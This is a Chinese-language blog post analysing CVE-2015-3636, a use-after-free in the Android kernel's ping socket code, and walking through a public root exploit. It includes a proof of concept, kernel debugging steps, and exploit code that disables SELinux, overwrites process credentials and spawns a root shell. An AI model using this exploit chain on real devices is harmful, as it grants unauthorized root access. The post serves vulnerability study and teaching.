CVE-2015-3636(pingpong root) android内核 UAF漏洞分析

前言

去年差不多这个时候就计划把这个漏洞给分析了,由于android没有经常搞,所以踩了很多坑,中间一度因为各种原因停滞放弃,最近遇到一个事情让我下定决心把它了结,也算是解决一个心病。过程会写详细一点,给和我一样的初学朋友提供点帮助。这个漏洞keen在blackhat上讲过[8],是一个很经典的android内核漏洞,也是第一个64bit root,还是很有学习价值的。分析android内核的漏洞需要自己下载android源代码和内核源代码,reverse patch,编译调试。吾爱破解有个比赛就是写这个漏洞的exploit,并且还提供了相应的环境[3],所以我偷了个懒,直接拿过来用就行了。exploit我在github上也直接找了一份现成的[11],经我测试可用。

漏洞原理

其实很多文章都对漏洞原理描述很清楚了,为了文章完整性我再赘述一下。补丁[12]是在net/ipv4/ping.c的ping_unhash中加了一句sk_nulls_node_init(&sk->sk_nulls_node)。

这行代码其实就是把node->pprev设置成了NULL。

 

1

2

3

4

static __inline__ void sk_nulls_node_init(struct hlist_nulls_node *node)

{

    node->pprev = NULL;

}

 

我们再看看keen给的POC。

 

1

2

3

4

5

6

int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);

struct sockaddr addr = { .sa_family = AF_INET };

int ret = connect(sockfd, &addr, sizeof(addr));

struct sockaddr _addr = { .sa_family = AF_UNSPEC };

ret = connect(sockfd, &_addr, sizeof(_addr));

ret = connect(sockfd, &_addr, sizeof(_addr));

 

把内核源代码下载下来看看。

 

1

2

git clone https://aosp.tuna.tsinghua.edu.cn/kernel/common.git

git checkout remotes/origin/android-3.4 -b android-3.4

 

当调用socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP)创建socket再调用connect时,在内核中调用到了inet_dgram_connect。

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

int inet_dgram_connect(struct socket *sock, struct sockaddr * uaddr,

               int addr_len, int flags)

{

    struct sock *sk = sock->sk;

 

    if (addr_len < sizeof(uaddr->sa_family))

        return -EINVAL;

    if (uaddr->sa_family == AF_UNSPEC)

        return sk->sk_prot->disconnect(sk, flags);

 

    if (!inet_sk(sk)->inet_num && inet_autobind(sk))

        return -EAGAIN;

    return sk->sk_prot->connect(sk, (struct sockaddr *)uaddr, addr_len);

}

EXPORT_SYMBOL(inet_dgram_connect);

 

如果sa_family == AF_UNSPEC会根据协议类型调用相应的disconnect routine,对于PROTO_ICMP来说是udp_disconnect。

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

int udp_disconnect(struct sock *sk, int flags)

{

    struct inet_sock *inet = inet_sk(sk);

    /*

     * 1003.1g - break association.

     */

 

    sk->sk_state = TCP_CLOSE;

    inet->inet_daddr = 0;

    inet->inet_dport = 0;

    sock_rps_reset_rxhash(sk);

    sk->sk_bound_dev_if = 0;

    if (!(sk->sk_userlocks & SOCK_BINDADDR_LOCK))

        inet_reset_saddr(sk);

 

    if (!(sk->sk_userlocks & SOCK_BINDPORT_LOCK)) {

        sk->sk_prot->unhash(sk);

        inet->inet_sport = 0;

    }

    sk_dst_reset(sk);

    return 0;

}

EXPORT_SYMBOL(udp_disconnect);

最终会调用到ping_unhash。

 

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

void ping_unhash(struct sock *sk)

{

    struct inet_sock *isk = inet_sk(sk);

    pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num);

    if (sk_hashed(sk)) {

        write_lock_bh(&ping_table.lock);

        hlist_nulls_del(&sk->sk_nulls_node);

        sk_nulls_node_init(&sk->sk_nulls_node);

        sock_put(sk);

        isk->inet_num = 0;

        isk->inet_sport = 0;

        sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1);

        write_unlock_bh(&ping_table.lock);

    }

}

EXPORT_SYMBOL_GPL(ping_unhash);

如果sk_hashed条件成立则会调用hlist_nulls_del在一个双向链表hlist中删除sk_nulls_node。

 

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

static inline void __hlist_nulls_del(struct hlist_nulls_node *n)

{

         struct hlist_nulls_node *next = n->next;

         struct hlist_nulls_node **pprev = n->pprev;

         *pprev = next;

         if (!is_a_nulls(next))

                   next->pprev = pprev;

}

 

static inline void hlist_nulls_del(struct hlist_nulls_node *n)

{

         __hlist_nulls_del(n);

         n->pprev = LIST_POISON2;

}

当n也就是sk_nulls_node被删除之后n->pprev被设置为LIST_POISON2,它的值是固定的0x200200。我们看一下第二次connect的时候sk_hashed条件是否成立。

 

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

static inline int sk_unhashed(const struct sock *sk)

{

         return hlist_unhashed(&sk->sk_node);

}

 

static inline int sk_hashed(const struct sock *sk)

{

         return !sk_unhashed(sk);

}

 

static inline int hlist_unhashed(const struct hlist_node *h)

{

         return !h->pprev;

}

 

这里注意sk_node和sk_nulls_node共用了一个union,两者的定义也十分类似,似乎有一点类型混淆的感觉。

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

#define sk_node            __sk_common.skc_node

#define sk_nulls_node      __sk_common.skc_nulls_node

 

    union {

        struct hlist_node  skc_node;

        struct hlist_nulls_node skc_nulls_node;

    };

 

struct hlist_node {

    struct hlist_node *next, **pprev;

};

 

struct hlist_nulls_node {

    struct hlist_nulls_node *next, **pprev;

};

所以虽然设置的是sk_nulls_node->pprev判断的是sk_node->pprev但是实际上是一个东西,sk_hashed条件成立,再次删除已经删除的对象,执行*pprev = next时pprev已经是0x200200了,如果这个地址没有映射到用户态就会kernel panic。poc中第一次AF_INET的connect是为了将sk加入hlist中。下面就是poc的效果。

 

这里Unable to handle kernel paging request at virtual address的地址是0x1360而不是0x200200,可能出题的人在这里修改了一下。我们在IDA里面看看。如果采取自己编译调试的方式是可以加载vmlinux符号文件的,这里我们就只能自己从机器上得到函数地址和名称然后加载到IDA中了。把Image拖到IDA64中,Process type选择ARM Little-endian [ARM]。

把ROM start address和Loading address设置为0xFFFFFFC000080000(32位系统就是0xC0008000)。Android 8.0中才为4.4及以后的内核引入了KASLR,很显然我们这里没有KASLR,这个值是固定的。

选择64-bit code。

这个时候IDA是什么也识别不出来的,因为Image文件并不是一个ELF,用binwalk看一下就会发现其实它组成还挺复杂的。我们接下来从运行的虚拟机中导出内核函数名称和地址。在ubuntu这样的发行版和android内核中有Kernel Address Display Restriction,所以先把它关掉。

 

1

2

3

sh -c " echo 0 > /proc/sys/kernel/kptr_restrict"

cat /proc/kallsyms > /data/local/tmp/1.txt

adb pull /data/local/tmp/1.txt

 

写一个简单的脚本把这些函数名加载到IDA里面。

 

1

2

3

4

5

6

7

8

9

ksyms = open("D:\\1.txt")

for line in ksyms:

    addr = int(line[0:16],16)

    name = line[19:].replace('_','')

    name = line[19:].replace('\n','')

    idc.MakeCode(addr)

    idc.MakeFunction(addr)

    idc.MakeName(addr,name)

    Message("%08X:%s"%(addr,name))

 

出来的函数列表里面只有ping_hash没有ping_unhash,我们把ping_hash的End address改成0xFFFFFFC000409614再在0xFFFFFFC000409614处create function处理一下就可以了。

我们可以看到crash处0xFFFFFFC000409644和前后的代码。

 

1

2

3

ROM:FFFFFFC00040963C                 LDR             X1, [X19,#0x38]

ROM:FFFFFFC000409640                 LDR             X0, [X19,#0x30]

ROM:FFFFFFC000409644                 STR             X0, [X1]

 

这三行代码对应源代码中的下面这三行。

 

1

2

3

struct hlist_nulls_node *next = n->next;

struct hlist_nulls_node **pprev = n->pprev;

*pprev = next;

 

所以进一步确认了漏洞成因和我们前面所分析的一样。如何让IDA分析Image讲的有点多了,主要参考了[1]和[4]。接下来还是回到正题,既然说这是一个UAF漏洞那么哪里UAF了呢?在hlist_nulls_del之后还有一个sock_put。

 

1

2

3

4

5

6

/* Ungrab socket and destroy it, if it was the last reference. */

static inline void sock_put(struct sock *sk)

{

    if (atomic_dec_and_test(&sk->sk_refcnt))

        sk_free(sk);

}

 

sock_put将sk的引用计数减1,并且判断其值是否为0,如果为0的话就free掉sk。可以想到最后一次connect进入本不该进入的if分支之后如果我们提前mmap了0x200200(这里是0x1360)就不会崩溃,接下来进入sock_put,引用计数变成0,sk被free掉,但是文件描述符还在用户空间,这就造成了UAF。

调试过程

我们可以先测一下这个EXP。不过要注意的是必须用adb shell过去然后su shell才能继承root的权限得到建立socket的权限。测试发现这个EXP确实是可用的,下面就开始调试。

我调试时的命令如下。

 

1

./qemu-system-aarch64 -cpu cortex-a57 -machine type=ranchu -m 1024 -append 'console=ttyAMA0,38400 keep_bootcon earlyprintk=ttyAMA0' -serial mon:stdio -kernel Image -initrd /home/hjy/Desktop/android-problem-env/ramdisk.img -drive index=0,id=sdcard,file=/home/hjy/Desktop/android-problem-env/system.img -device virtio-blk-device,drive=sdcard -drive index=1,id=userdata,file=/home/hjy/Desktop/android-problem-env/.//userdata.img -device virtio-blk-device,drive=userdata -drive index=2,id=cache,file=/home/hjy/Desktop/android-problem-env/cache.img -device virtio-blk-device,drive=cache -drive index=3,id=system,file=/home/hjy/Desktop/android-problem-env/system.img -device virtio-blk-device,drive=system -netdev user,id=mynet -device virtio-net-device,netdev=mynet -show-cursor -nographic -L lib/pc-bios -gdb tcp::1234,ipv4 –S

这里又有一个很坑的地方,用NDK里面的gdb去调试会报Remote 'g' packet reply is too long,需要我们自己修改gdb源代码并且编译[9]。

 

 

1

git clone https://android.googlesource.com/toolchain/gdb.git

 

下载下来发现有gdb-7.11和gdb-8.0.1两个文件夹,由于pwndbg和GEF等插件目前好像还不支持gdb 8.x,所以我们选择gdb-7.11。找到gdb-7.11/gdb目录下的remote.c文件,注释掉这两行。

 

1

2

  if (buf_len > 2 * rsa->sizeof_g_packet)

     error (_(“Remote ‘g’ packet reply is too long: %s”), rs->buf);

 

在后面加上下面这几行。

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

  if (buf_len > 2 * rsa->sizeof_g_packet) 

   {

      rsa->sizeof_g_packet = buf_len ;

      for (i = 0; i < gdbarch_num_regs (gdbarch); i++)

      {

         if (rsa->regs[i].pnum == -1)

         continue;

 

         if (rsa->regs[i].offset >= rsa->sizeof_g_packet)

         rsa->regs[i].in_g_packet = 0;

         else

         rsa->regs[i].in_g_packet = 1;

      }

   }

 

编译安装。

 

1

2

3

./configure --target=aarch64-linux-androideabi --prefix=/home/hjy/Desktop/gdb_build/gdb/gdb-7.11/arm-linux

make

make install

安装GEF,因为很多人说pwndbg比较卡而GEF不卡。

 

 

1

wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh

 

终于开始调试了,不过还有一个小坑,我们应该用gef-remote -q localhost:1234也就是加上-q参数不然会报错,原因在这里[7]。接下来进入漏洞利用的部分。我们可以看到在main函数中整个漏洞触发漏洞的过程和POC中一样。

 

1

2

3

4

5

6

vultrig_socks[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);

ret = connect(vultrig_socks[i], &addr1, sizeof(addr1));

system("echo 4096 > /proc/sys/vm/mmap_min_addr");

void* user_mm = mmap(PAGE_SIZE, MAX_NULLMAP_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE| MAP_FIXED |MAP_ANONYMOUS, -1, 0);

ret = connect(vultrig_socks[i], &addr2, sizeof(addr2));

ret = connect(vultrig_socks[i], &addr2, sizeof(addr2));

修改mmap_min_addr并mmap就是为了避免崩溃这样才能执行到sock_put的逻辑。接下来的操作叫做physmap spray,大家如果对CVE-2014-3153(towelroot)还有印象的话,会记得它是通过sendmmsg修改内核数据的,keen在文章中解释了,通过sendmmsg完成堆喷的条件是存在漏洞的对象大小必须和SLAB分配器通常使用的大小一致。而在一些android设备上,PING sock对象的大小是576,不是期望的512或者1024。这样就很难对齐,利用会很不稳定,所以采用的是physmap spray的方法。

 

在内核中physmap在一个相对较高的地址,而SLAB通常在一个相对较低的地址,通过喷射其它的内核对象使得SLAB分配器在相对高的地址分配PING sock对象造成physmap和SLAB重叠,这个过程叫做lifting。这里的“其它的内核对象”直接用PING sock对象其实就可以。

然后释放掉用来做lifting的PING sock对象,和physmap重叠的那一部分则留做触发漏洞。那么怎样才能知道什么时候PING sock对象已经被physmap中的数据填充了可以停止喷射以及怎样找到已经被填充的PING sock对象呢?在physmap spray中进行了大量的mmap操作,并且将mapped_page+0x1D8处赋值为MAGIC_VALUE+physmap_spray_pages_count,接下来search_exploitable_socket的时候用ioctl一个一个去试。

 

1

ioctl(exp_sock, SIOCGSTAMPNS, &time);

 

这里的time是timespec结构体,会调用到sock_get_timestampns。

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

int sock_get_timestampns(struct sock *sk, struct timespec __user *userstamp)

{

    struct timespec ts;

    if (!sock_flag(sk, SOCK_TIMESTAMP))

        sock_enable_timestamp(sk, SOCK_TIMESTAMP);

    ts = ktime_to_timespec(sk->sk_stamp);

    if (ts.tv_sec == -1)

        return -ENOENT;

    if (ts.tv_sec == 0) {

        sk->sk_stamp = ktime_get_real();

        ts = ktime_to_timespec(sk->sk_stamp);

    }

    return copy_to_user(userstamp, &ts, sizeof(ts)) ? -EFAULT : 0;

}

EXPORT_SYMBOL(sock_get_timestampns);

 

这个函数会返回sk->sk_stamp,在我们的环境中它在sock对象中的偏移正是0x1D8。

找到exp_sock之后因为它已经完全在我们的控制之中了,所以函数指针也是可控的,对其调用close函数就可以控制PC了。可以看到close是在inet_close中调用的。

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

int inet_release(struct socket *sock)

{

    struct sock *sk = sock->sk;

 

    if (sk) {

        long timeout;

 

        sock_rps_reset_flow(sk);

 

        /* Applications forget to leave groups before exiting */

        ip_mc_drop_socket(sk);

 

        /* If linger is set, we don't return until the close

         * is complete.  Otherwise we return immediately. The

         * actually closing is done the same either way.

         *

         * If the close is due to the process exiting, we never

         * linger..

         */

        timeout = 0;

        if (sock_flag(sk, SOCK_LINGER) &&

            !(current->flags & PF_EXITING))

            timeout = sk->sk_lingertime;

        sock->sk = NULL;

        sk->sk_prot->close(sk, timeout);

    }

    return 0;

}

EXPORT_SYMBOL(inet_release);

 

找一下发现偏移是0x28,所以我们将payload+0x28设置为payload的地址,将payload开头设置为0xFFFFFFC00035D788让它跳到kernel_setsockopt。

 

1

2

3

4

   *(unsigned long *)((char *)payload + 0x28)  = (unsigned long)payload;

   *(unsigned long *)((char *)payload)         = (unsigned long)0xFFFFFFC00035D788;

   *(unsigned long *)((char *)payload + 0x68)  = (unsigned long)0xFFFFFFC00035D7C0;

   close(exp_sock);

 

addr_limit规定了特定线程的用户空间地址最大值,超过这个值的地址用户空间代码不能访问。所以把addr_limit改成0xffffffff就可以对内核为所欲为了。现在我们已经来到了kernel_setsockopt,应该怎么改addr_limit呢?当内核需要去使用系统调用的时候就要去掉地址空间的限制,一般的流程是(1)oldfs=get_fs(),(2)set_fs(KERNEL_DS),(3)set_fs(oldfs),如果能绕过set_fs(oldfs)的执行,内核空间将一直对用户态打开,这样就绕过了限制。

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

int kernel_setsockopt(struct socket *sock, int level, int optname,

            char *optval, unsigned int optlen)

{

    mm_segment_t oldfs = get_fs();

    char __user *uoptval;

    int err;

 

    uoptval = (char __user __force *) optval;

 

    set_fs(KERNEL_DS);

    if (level == SOL_SOCKET)

        err = sock_setsockopt(sock, level, optname, uoptval, optlen);

    else

        err = sock->ops->setsockopt(sock, level, optname, uoptval,

                        optlen);

    set_fs(oldfs);

    return err;

}

EXPORT_SYMBOL(kernel_setsockopt);

 

#define set_fs(x)  (current_thread_info()->addr_limit = (x))

 

注意这里因为我们控制了X0所以BLR  X5跳过了STR  X20, [X19,#8]。

截一张mosec2016上360冰刃实验室讲的《Android Root利用技术漫谈:绕过PXN》[5]中的一张图帮助理解。

现在可以任意读写内核了,下一步是修改全局mmap_min_addr让我们能够在用户态mmap null地址。

 

1

2

3

4

5

6

7

8

9

10

11

   /*

      overwrite the global variable mmap_min_addr to 0, then we can mmap NULL in user-mode 

   */

   data8 = 0; 

   kernel_write8((void *)0xffffffc000652148, &data8);

   user_mm = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE| MAP_FIXED |MAP_ANONYMOUS, -1, 0);

   if(MAP_FAILED == user_mm)

   {

      perror("[*] mmap NULL fail");

      return -1;

   }

 

这个地址应该怎么找呢,注意到setup_arg_pages中有mmap_min_addr。

0xFFFFFFC00063EE9F+0x132A9=0xFFFFFFC000652148,就是这么来的。接下来关掉selinux,方法同上。

 

1

2

3

4

5

6

   /*

      overwirte selinux_enforcing to disable selinux

   */

   data4 = 0;

   kernel_write4((void *)0xffffffc00065399c, &data4);

   printf("[*] selinux disabled.\n");

 

在arm64系统上栈的最大深度为16K,所以unsigned long thread_info_addr=sp&0xFFFFFFFFFFFFC000。task结构体的偏移是0x10,我们再次调用close,通过下面这段gadget把task结构体的指针leak到0x0000000000000018(X1是0)。

 

1

2

3

4

   *(unsigned long *)((char *)payload + 0x290) = 0;

   *(unsigned long *)((char *)payload + 0x28)  = (unsigned long)payload;

   *(unsigned long *)((char *)payload)         = (unsigned long)0xFFFFFFC0004AA518;

   close(exp_sock);

 

接下来改掉task_struct->cred,整个提权过程就完成了。

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

       /*

          overwrite task_struct->cred to gain root privilege

       */

       task = NULL;

       task = (void *)*(unsigned long *)((char *)user_mm + 0x18);

       printf("[*] task:%p\n", task); 

 

       cred = NULL;

       kernel_read8((char *)task + 0x398, &cred);

       printf("[*] cred:%p\n", cred);

 

       data4 = 0;

       kernel_write4((char *)cred +  4,  &data4);

       kernel_write4((char *)cred +  8,  &data4);

       kernel_write4((char *)cred + 12,  &data4);

       kernel_write4((char *)cred + 16,  &data4);

       kernel_write4((char *)cred + 20,  &data4);

       kernel_write4((char *)cred + 24,  &data4);

       kernel_write4((char *)cred + 28,  &data4);

       kernel_write4((char *)cred + 32,  &data4);

 

       /*

          cleanup to avoid crash. overwirte task_struct->files->fdt->max_fds to 0

       */

 

       kernel_read8((char *)task + 0x788, &files);

       printf("[*] files:%p\n", files);

 

       kernel_read8((char *)files + 8, &fdt);

       printf("[*] fdt:%p\n", fdt);

 

       data4 = 0;

       kernel_write4(fdt, &data4);

 

 

      if(getuid() == 0)

      {

          printf("[*] congrats, enjoy your root shell.\n");

          system("/system/bin/sh");

      }

      else

      {

        printf("[*] Oops, you'd better have a cup of tea and try again:(\n");

      }

   

 

 

    return 0;

 

希望我已经说清楚了所有涉及这个漏洞的知识,读者能有所收获。

参考资料

1.逆向ARM64内核zImage
2.Android Interals – Part 4 

3.吾爱破解2016安全挑战赛 

4.从Android设备中提取内核和逆向分析 

5.Android Root利用技术漫谈:绕过PXN 

6.ret2dir: Deconstructing Kernel Isolation 

 

7.https://github.com/hugsy/gef/issues/124

8.Own your Android! Yet Another Universal Root 

 

9.重新编译arm-linux-androideabi-gdb和gdbserver

10.https://www.kernel.org/doc/htmldocs/networking/API-struct-sock.html 

11.https://github.com/4B5F5F4B/Exploits/tree/master/Linux/CVE-2015-3636 

 

 

12.https://github.com/torvalds/linux/commit/a134f083e79fb4c3d0a925691e732c56911b4326?diff=split

 

 

 

 

 

https://bbs.pediy.com/thread-230298.htm

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值